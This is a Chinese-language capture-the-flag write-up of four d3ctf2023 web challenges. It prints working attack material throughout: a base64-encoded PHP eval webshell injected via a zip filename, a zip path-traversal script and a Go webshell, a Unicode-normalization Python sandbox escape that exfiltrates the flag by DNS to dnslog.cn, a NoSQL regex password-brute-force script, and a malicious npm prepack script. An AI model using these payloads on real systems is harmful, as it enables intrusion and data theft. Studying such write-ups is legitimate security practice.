d3ctf2023 wp
前言:
近来很忙,一边在小厂努力搬砖一边还得备战ctf,明显感觉到时间精力有限了,所以这个比赛基本上只看了3小时,其他的都是赛后复现了,果然,aurora战队这边很多小兄弟也时间水平精力都有限(谁叫这比赛在五一头两天,前面又连上了好多班),所以成绩很差
然值得一提的是,继承de1ta传统的(虽然阿烨和d冠是很想和我们撇清关系,他们也太忙了(好吧d冠只是怕我们翻车))S1uM4i战队在这次比赛中勇夺 第三 第二!!(感谢评论区提醒)
不过我就没去丢人了,毕竟本就没时间打
d3cloud
一开始尝试压缩shell.php后上传,虽然上传成功,但是不知道目录,搜索后发现默认目录https://laravel-admin.org/docs/en/extension-media-manager#Configuration是public,但是访问失败,原因是这个目录无法被直接访问
事后getshell时再去确认的
注意到有源码泄露,并且原来组件不存在自动解压功能,根据题目暗示审计这个地方的代码
popen处命令拼接,尝试curl,卡住了,直接崩溃,怀疑不出网
偶然通过报错得知绝对路径
尝试写webshell,由于代码对斜杠有过滤(或者是某种处理)
所以编码绕过
echo '<?php @eval($_POST[1] );?>'>/var/www/html/public/1.php
ZWNobyAnPD9waHAgQGV2YWwoJF9QT1NUWzFdICk7Pz4nPi92YXIvd3d3L2h0bWwvcHVibGljLzEu
cGhwCg==
;echo ZWNobyAnPD9waHAgQGV2YWwoJF9QT1NUWzFdICk7Pz4nPi92YXIvd3d3L2h0bWwvcHVibGljLzEucGhwCg== | base64 -d | sh;test.zip
d3go
由于没有办法admin登录,所以尝试sql注入/session伪造
以为不能扫,所以的确就不知道怎么做了。看了别人的wp,原来可以扫到
http://139.196.211.236:31503/assets/
那明显就是可以下载文件的样子,尝试目录穿越拉取源码
后面经过代码审计,我们发现解析session的时候
任意注册新用户
随后再在注册的时候抓包
{
"id":1,
"username":"admin",
"password":"123",
"createdat":"2015-09-15T14:00:12-00:00",
"deletedat":"2016-09-15T14:00:12-00:00"
}
发送后,可以删除admin登录
之后我们用自己的账号登录上去就可以
接着是覆盖config.yaml去更新我们待会上传的webshell
仿制一份config,yaml
server:
noAdminLogin: true
database:
user: root
password: root
host: 127.0.0.1
port: 3306
update:
enabled: true
url: http://localhost:5000/unzipped/596170f1-5c45-43f6-b109-124b39b6e46b/exp
interval: 1
使用脚本
import zlib
import zipfile
try:
with open("config.yaml","r") as f:
binary = f.read()
zipFile = zipfile.ZipFile("config.zip","a",zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("config.zip")
zipFile.writestr("../../config.yaml", binary)
zipFile.close()
except Exception as e:
raise e
上传后,他真的覆盖了config.yaml
然后我们上传shell
package main
import (
"d3go/config"
"net/http"
"os/exec"
"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
log "github.com/sirupsen/logrus"
)
func prog (state overseer.State){
r := gin.Default()
InitRouter(r)
server := http.Server{
Addr: ":8080",
Handler: r,
}
go func(){
if err := server.Serve(state.Listener); err != nil && err != http.ErrServerClosed {
log.Fatal(err)
}
}()
<-state.GracefulShutdown
if err := server.Shutdown (nil); err != nil {
log.Fatal(err)
}
}
func main(){
// t := os.Getenv("OVERSEER BIN CHECK")
// fmt.Printf(t)
config.Init()
// db.Init()
if config.Conf.AutoUpdate{
log.Printf("Auto update enabled")
err := overseer.RunErr(overseer.Config{
Program: prog,
Address:":8080",
Fetcher: &config.Fetch,
})
if err != nil{
log.Fatalln(err)
}
}else {
r := gin.Default()
InitRouter(r)
if err := r.Run(":8080"); err != nil{
log.Fatal(err)
}
}
}
func InitRouter(r *gin.Engine) {
r.GET("/shell",Shell)
}
func Shell(c *gin.Context) {
//c := c.Query("cmd")
cmd ,_ := exec.Command("bash","-c","ls /").Output()
c.String(200, string(cmd))
}
go build exp.go
注意一下,编译go的时候需要一些依赖,我们先设置gopath在我们的题目源码目录,然后go install(太慢的话用这个设置代理:go env -w GO111MODULE=on
go env -w GOPROXY=https://goproxy.io,direct)
然后传上去更新就行
本地看着这个webshell是没问题的,但是无奈复现不了,很怪
escape Plan
参考:Python 沙箱逃逸的经验总结 - Tr0y's Blog
题目就是一个python的eval,然后增加了很多黑名单
black_char = [
"'", '"', '.', ',', ' ', '+',
'__', 'exec', 'eval', 'str', 'import',
'except', 'if', 'for', 'while', 'pass',
'with', 'assert', 'break', 'class', 'raise',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
]
仔细观察,发现过滤的是:一些关键词+一些特殊符号+全部数字
但是我们注意到,eval的话是可以用unicode字符的,所以数字字母的过滤我们可以无视其发生,
关于unicode字符的使用,相关的知识点如下:
有些时候unicode解析是不可以的
有些时候是可以的
如何掌握规律呢:
只有标识符会被normalize,normalize的时候unicode变形字符会被变成标准字符,可以用这个工具去生成你要的h13t0ry/UnicodeToy: Unicode fuzzer for various purposes (github.com)
为什么会这样的原因:PEP 3131 – Supporting Non-ASCII Identifiers | peps.python.org
大概就是说标识符是支持这种的,然后会自动转化为NFKC标准模式
那你肯定会说了,这不是有局限性呀,字符串要是出现数字的话就寄了
其实可以把字符串转化为标识符,然后再用Unicode变形字符,这点待会说,我们看看下面
假如说标识符可以unicode绕过的话,那么只剩下
"'", '"', '.', ',', ' ', '+','__'
引号的过滤我们考虑
注意到+
被过滤了,所以只能用
这个可以构造任意的字符串了(还有数字,一样的道理,直接创建一个数组,然后len()获取长度)
>>> _a_aiamapaoarata_a_=()
>>> list(dict(_a_aiamapaoarata_a_=()))
['_a_aiamapaoarata_a_']
>>> len([])
0
>>> list(dict(_a_aiamapaoarata_a_=()))[0]
'_a_aiamapaoarata_a_'
>>> len(list(dict(aa=()))[len([])]) #### 这个原理和上面类似,其实就是想要构造2
2
>>> list(dict(_a_aiamapaoarata_a_=()))[0][::2]
'__import__'
>>>
之所以不直接用unicode的2是因为只有标识符可以被转化为标准格式
然后我们回到字符串的问题
可以把字符串转化为标识符,然后再用Unicode变形字符,我们看看下面
比如一个base64的字符串(payload编码可以绕过很多关键字)
dGhhaWlzb2sgICAg
>>> import binascii
>>> binascii.a2b_base64("dGhhaWlzb2sgICAg")
b'thaiisok '
但是把2换成unicode变形字符会报错,因为不是标识符不会转化
我们可以通过dict+list的方式先把它变成数组的键,也就是标识符,然后可以用unicode变形字符替换
>>> dict(dGhhaWlzb2sgICAg=())
{'dGhhaWlzb2sgICAg': ()}
>>> list(dict(dGhhaWlzb2sgICAg=()))
['dGhhaWlzb2sgICAg']
>>> list(dict(dGhhaWlzb2sgICAg=()))[0]
'dGhhaWlzb2sgICAg'
>>> dict(ᴰGhhaWlzb2sgICAg=())
{'DGhhaWlzb2sgICAg': ()}
>>> list(dict(ᴰGhhaWlzb2sgICAg=()))[0]
'DGhhaWlzb2sgICAg'
>>>
所以所有字符串都可以被unicode变形字符编码
回到正题,构造exp
首先注意到是无回显的,需要我们外带或者反弹shell
所以我们可以设置这样的payload
__import__('os').popen('ping `/readflag`.8gpw3o.dnslog.cn ').read()
本地eval一下是可以用的
然后我们base64编码,后面用unicode字符绕一下
eval(__import__('binascii').a2b_base64("dGhhaWlzb𝟤sgICAg"))
## 类似于这样,base64换成payload
然后__import__
被ban了
虽然可以这样绕但是__被ban了
我们可以把__import__
>>> eval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])
<built-in function __import__>
这里的切片[::2] 是步长为2的意思,就是间隔1位取字符,可以绕过__限制
eval一下返回它的标识符
然后操作来了,可以vars(标识符,'参数')拿到它的dict属性
比如说:
vars(eval("__import__")("binascii"))
然后直接取出要的函数就行
这里可以注意到,vars, eval, 都是标识符,直接ᵥars,ᵉval绕
字符串直接用:dict+list的方式先把它变成数组的键,也就是标识符,然后可以用unicode变形字符替换
vars(eval("__import__")("binascii"))
比如说刚刚上面的payload就可以替换为
>>> vars(eval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))
以此类推咯
完整exp:
payload 直接eval执行这个
__import__('os').popen('ping `/readflag`.8gpw3o.dnslog.cn ').read()
base64一下
X19pbXBvcnRfXygnb3MnKS5wb3BlbigncGluZyBgL3JlYWRmbGFnYC44Z3B3M28uZG5zbG9nLmNuICAnKS5yZWFkKCkg
exp.py
import base64
u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫'
CMD = "eval(vars(eval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbigncGluZyBgL3JlYWRmbGFnYC44Z3B3M28uZG5zbG9nLmNuICAnKS5yZWFkKCkg=()))[len([])]))"
## 为了防止数字被过滤,全部数字替换为字典中的对应的unicode特殊字符
CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)})
print(base64.b64encode(CMD.replace('eval', 'ᵉval').encode()).decode())
运行,生成base64
下面Post提交的时候记得urlencode
dns外带
d3node
/getHint1
Userinfo.findOne({username: req.body.username, password: req.body.password}).exec()
.then((info)=>{
if(info==null){
return res.render(xxxx)
}
...
})
怀疑findOne不是自己实现的,是第三方依赖或者内置的函数(因为我之前出node题的时候好像见过),谷歌一搜
看到了别人用
var mongodb = require('mongodb');
const mongoose = require('mongoose');
const User = mongoose.model('users', userSchema);
...
const user = await User.findOne({
email: req.body.email,
password: req.body.password
}).exec();
猜测是mongodb+mongoose这样的express系统,虽然这算是必要条件了,但是可以尝试
然后mongodb的话经常提到的就是Nosql注入了(好像去年d3也有),搜一搜学一学试一试(最好起个环境)
nosql注入要json发送
"username":{"$regex": "^admin1"}, //回显302 (成功)
"username":{"$regex": "^admin2"}, //回显200
写个nosql注入脚本
import requests
import json
url = "http://139.196.153.118:30986/user/LoginIndex"
# 发送post请求
# 发送json数据
dicts = '0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz'
flag = ''
for i in range(1, 32):
for s in dicts:
datas = json.dumps({'username': 'admin', 'password': {'$regex': '^' + flag + s}})
# 不要跟随重定向
res = requests.post(url,data=datas, headers={'Content-Type': 'application/json'})
print("test:" + s)
if "Welcome back" in res.text :
flag += s
print("[+]" + flag)
break
print("[*]the passwd: "+flag)
admin 密码为 dob2xdriaqpytdyh6jo3
登录后台可以看到另一个hint (其实普通用户也可以看到)
readFIleSync是node读文件的,这里应该是这个路由/dashboardIndex/ShowExampleFile
默认不传参的话可以直接文件名读取
当然啦,读不到flag
packagelist可以下载一些东西
打开看发现是一个demo,app.js和一个package.json,以前我们常常那他俩搭建node服务,npm install可以加载依赖
此外,通过测试后台路由,发现只有一个上传文件是用户可控的,上传了它的demo
要求Json file , 然后又看了看这几个路由,暗示我们传package.json进行利用
很难不想到去年,atao和miku爷爷一起开开心心地打bytectf的某道题,我们上传的package.json的url使用了file协议,可以直接读取文件ByteCTF Web Writeup (erroratao.github.io)
直接搜搜当时bytectf wp
上传
{
"name": "app-example",
"version": "1.0.0",
"description": "Example app for the Node.js Getting Started guide.",
"author": "anonymous",
"license": "MIT",
"scripts": {"prepack": "cat /* > /tmp/secret.txt"}
}
npm install会执行scripts定义的一些字段,注意这里一定要prepack而不用preinstall(我也不懂,实测preinstall失效)
发现这个路由/dashboardIndex/SetDependencies是更新依赖的
应该是要传啥呢
操作半天,发现PackDependencies是可以打包依赖的,打包下载下来后的确有这个依赖,但是怎么没更新上呢
仔细看,下载下来的json还需要dependencies
想起之前的payload了ByteCTF Web Writeup (erroratao.github.io)
我们可以指定json本地路径package.json 中 npm 依赖包的写法 - 知乎 (zhihu.com)
(雷姆,atao就这样去上班了,miku就这样去考研了,而我还在小厂搬砖)
然后试了很多次,发现只要script
只有这里的scripts会被npm install先会执行
然后/dashboardIndex/PackDependencies
最后任意文件读取/dashboardIndex/ShowExampleFile?filename=/tmp/ok.txt
cat /*是依托东西,可以看到elf头,所以ls一下发现是readflag,那就直接运行了
/readflag > /tmp/ok.txt
事后我想了一下为什么不是preinstall,忽然发现/PackDependencies应该执行的是类似npm pack的操作,不是install
S1uM4i 是第二
感谢指正